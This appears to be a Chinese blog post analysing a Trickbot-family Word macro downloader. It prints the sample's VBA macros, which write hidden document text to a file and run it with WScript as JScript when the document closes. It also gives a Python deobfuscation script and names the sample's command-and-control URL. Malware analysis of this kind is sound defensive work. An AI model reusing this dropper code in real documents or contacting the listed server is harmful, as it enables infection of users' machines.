一例Trickbot家族js下载器的分析

这个样本是一个docm格式的宏病毒,运行之后会释放并运行一个jse文件,这是一个加密并高度混淆后的JScript脚本,主要功能是下载PE执行和感染可移动存储介质。

样本信息

MD5: e36380d824811bc28fbc26ea84c1a868
SHA1: 19d5fc16cfabae3b3c26bbb4f5798da42733a2fa
SHA256: 16429e95922c9521f7a40fa8f4c866444a060122448b243444dd2358a96a344c
SHA512: 6c6f323893870536822a2aa2aebe783379906081fcf004dd04cb40cc1109c3452d39b548ac8b2a6544601a132f1117aedaca7061c2dbd38dcdba0cbccd07940e
CRC32: a4f4cfc0

分析环境

  • windows7 x64虚拟机
  • oledump.py 分析docm文档,提取VBA代码
  • notepad++ 查看和编辑
  • vscode 编辑代码
  • python3(anaconda3) 去混淆

静态分析

使用oledump.py分析这个宏病毒样本的结构

在这里插入图片描述

使用使用下面的命令分别导出A3和A4段的宏代码

python oledump.py -s A3 -v 1.docm > A3_macro.txt
python oledump.py -s A4 -v 1.docm > A4_macro.txt
两段宏代码如下,代码中作为一些混淆,然而还原出来还是比较容易的。
A3_macro.txt

Attribute VB_Name = "NewMacros"
Public polindrome As String

Function finger()
finger = "" & Chr(80 + 3) & "he" & "l" & Chr(100 + 8) 
'finger = "Shell"
End Function

Function Nails()
Nails = Chr(30 + 2) & "/" & Chr(100 + 1) & ":"
'Nails = " /e: "
End Function

Function spoon()
spoon = finger & "Exe" & Chr(90 + 9) & "ut" & Chr(100 + 1)
'ShellExecute
End Function

Function cup()
cup = Chr(80 + 3) & Chr(90 + 9) & "r" & "ip" & "t"
'Script
End Function


Function HIV()
HIV = "open"
End Function

’执行jse内容
Sub Hercules(button As Long)

Dim ok1() As Variant
Dim ok2() As Variant
ReDim ok1(7)
ReDim ok2(8)
VBA.CallByName VBA.CreateObject(finger & "." & Chr(60 + 5) & "pp" & "li" & Chr(90 + 9) & "at" & "ion"), spoon _
, VbMethod, Chr(80 + 7) & cup _
, Nails & Chr(70 + 4) & cup & " " & Chr(30 + 4) & polindrome & Chr(30 + 4), "", HIV, 2 - 1
'VBA.CallByName VBA.CreateObject("Shell.Application") "ShellExecute", VbMethod, "WScript"," /e:JScript 1.docx","open",1
End Sub




'输出jse的内容
Sub Wick(John As Long)
'
' Sand Macro
'
'
Dim Huge As Variant

polindrome = ActiveDocument.FullName & "x"

Dim duma As String, vc As Integer
duma = polindrome
vc = FreeFile

Open duma For Output As #vc '打开1.docmx 用于输出
Print #vc, ActiveDocument.Content.Text
Close #vc 

End Sub

Sub AcceptConflictAndAdvanceU()
'
' AcceptConflictAndAdvanceU Macro
'
'
MsgBox "WAY"

End Sub

A4_macro.txt

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim oxand As Variant
Wick (100)
End Sub


Private Sub Document_New()
MsgBox ("Something" & ActiveDocument.Variables("feet").Value)
End Sub

Private Sub Document_Close()
Hercules (999)
End Sub

这个宏代码比较简单,主要功能是:
这里我们将此样本重命名为1.doc,当用户打开1.doc文件,并启用宏时,会调用Wick过程,将1.doc的ActiveDocument.Content.Text的内容写入到一个新的文件1.docx中。关闭1.doc时,会执行Hercules过程,执行命令

WScript /e:JScript 1.docx

以JScript方式运行1.docx.

1.doc实际是一个docm文件,将后缀名修改为.zip,使用winrar解压后,进入word目录,查看一下document.xml,查看一个文档内容

在这里插入图片描述

打开document.xml会发现,里面有一段很长的脚本,文本的颜色是背景色
在这里插入图片描述

我们用word打开这个doc文本验证一下。

在这里插入图片描述

可以看到左下脚,页面和字数都很大,但是文档内容只能看到一张图片,其余的内容都被隐藏起来了。

按Ctrl+ A 将文本的字段颜色修改为黑色,就能看到脚本的内容,如下图所示。

在这里插入图片描述

点击启用内容后,VBA脚本已经执行。

弹出一个对话框,并在当前目录下生成了一个文件1.docx,这不是一个word文件,是一个加密的jse脚本文件,正是1.doc中隐藏的内容。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

解密与去混淆

下面分析一下这个加密的JScript代码

首先对其进行解密 ,可使用这个在线解密工具JScript.Encode 在线解密 (jb51.net),再使用Online JavaScript beautifier对代码进行格式化后,就得到了下面这样一个js文件

在这里插入图片描述

这个文件进行严重的混淆,大小达到了惊人的30158行,如何去混淆和分析,可参考分析可参考我的另一篇博客 NEMUCOD病毒jse样本分析,去混淆的代码有点些许的不同,主要是前面这个变换函数不一样了,代码如下

#-*- coding:utf-8 -*-
import re,os,sys

js = """
function DtbSlDW(ppqeac, qenvwr) {
    try {
        gzzcggot32ko = 0.714;
        gzzcgnationalities78ko = 0.66;
        gzzcgacted22ko = 0.241;
        gzzcgwork93ko = 0.123;
        gzzcgrooms26ko = 0.628;
        gzzcgcase58ko = 0.279;
        gzzcgalso74ko = 0.41;
        knqtheir_4(ppqeac, qenvwr);
    } catch (e) {
        if (qenvwr != 'from') {
            return true;
        } else {
            return String[qenvwr + ['Char'] + ['Code']](ppqeac);
        }
        return false;
    }
};"""

filename = sys.argv[1]
data = open(filename,'r',encoding='utf-8').read()


b = re.findall(r"((\(function\(\) \{.*?DtbSlDW\(.*?\).*?\}\)\(.*?\)( \+ )*)+)",data,re.M | re.S)
for i in b:
    #x = js2py.eval_js(js + i[0] + ';')
    x = i[0]
    x = x.strip(' ').strip('+') #去掉首尾的空格和+
    #利用这段代码构造一个js文件,打印出其表示的真实字符串
    open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
    #使用CScript.exe执行这段代码,将结果输出到文件output.txt
    ret = os.system('CScript.exe //Nologo 1.js > output.txt')
    if ret == 0:#CScript执行没有报错
        output = open("output.txt",'r',encoding='utf-8').read().strip()
        print(output)
        #替换找到的代码块
        data = data.replace(x,'"%s"' % output)
    else:#报错的话,需要单独处理
        #print(i[0])
        pass


a = re.findall(r"[A-Za-z0-9]+\[\d\] = \{.*?\d+\: \d+.*?\} \[((\(function\(\) \{.*?DtbSlDW\(.*?\).*?\}\)\(.*?\)( \+ )*)+)\];",data,re.M | re.S)
for i in a:
    #x = js2py.eval_js(js + i[0] + ';')
    x = i[0]
    x = x.strip(' ').strip('+') #去掉首尾的空格和+
    #利用这段代码构造一个js文件,打印出其表示的真实字符串
    open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
    #使用CScript.exe执行这段代码,将结果输出到文件output.txt
    ret = os.system('CScript.exe //Nologo 1.js > output.txt')
    if ret == 0:#CScript执行没有报错
        output = open("output.txt",'r',encoding='utf-8').read().strip()
        print(output)
        #替换找到的代码块
        data = data.replace(x,'"%s"' % output)
    else:#报错的话,需要单独处理
        #print(i[0])
        pass



b = re.findall(r"((\(function\(\) \{.*?DtbSlDW\(.*?\).*?\}\)\(.*?\)( \+ )*)+)",data,re.M | re.S)
for i in b:
    #x = js2py.eval_js(js + i[0] + ';')
    x = i[0]
    x = x.strip(' ').strip('+') #去掉首尾的空格和+
    #利用这段代码构造一个js文件,打印出其表示的真实字符串
    open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
    #使用CScript.exe执行这段代码,将结果输出到文件output.txt
    ret = os.system('CScript.exe //Nologo 1.js > output.txt')
    if ret == 0:#CScript执行没有报错
        output = open("output.txt",'r',encoding='utf-8').read().strip()
        print(output)
        #替换找到的代码块
        data = data.replace(x,'"%s"' % output)
    else:#报错的话,需要单独处理
        #print(i[0])
        pass

#保存结果
open('去混淆'+ filename,'w',encoding='utf-8').write(data)

去混淆之后 的代码只有390行,其cc服务器为https://185.159.82.15/hollyhole/c644.php,主要功能是下载恶意代码执行和感染可移动存储介质。

下面的分析同 NEMUCOD病毒jse样本分析_巴哥的博客-CSDN博客一样,不再赘述。

参考资料

VBA语句集100句 (Word VBA) [转]_sobigring的博客-CSDN博客

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值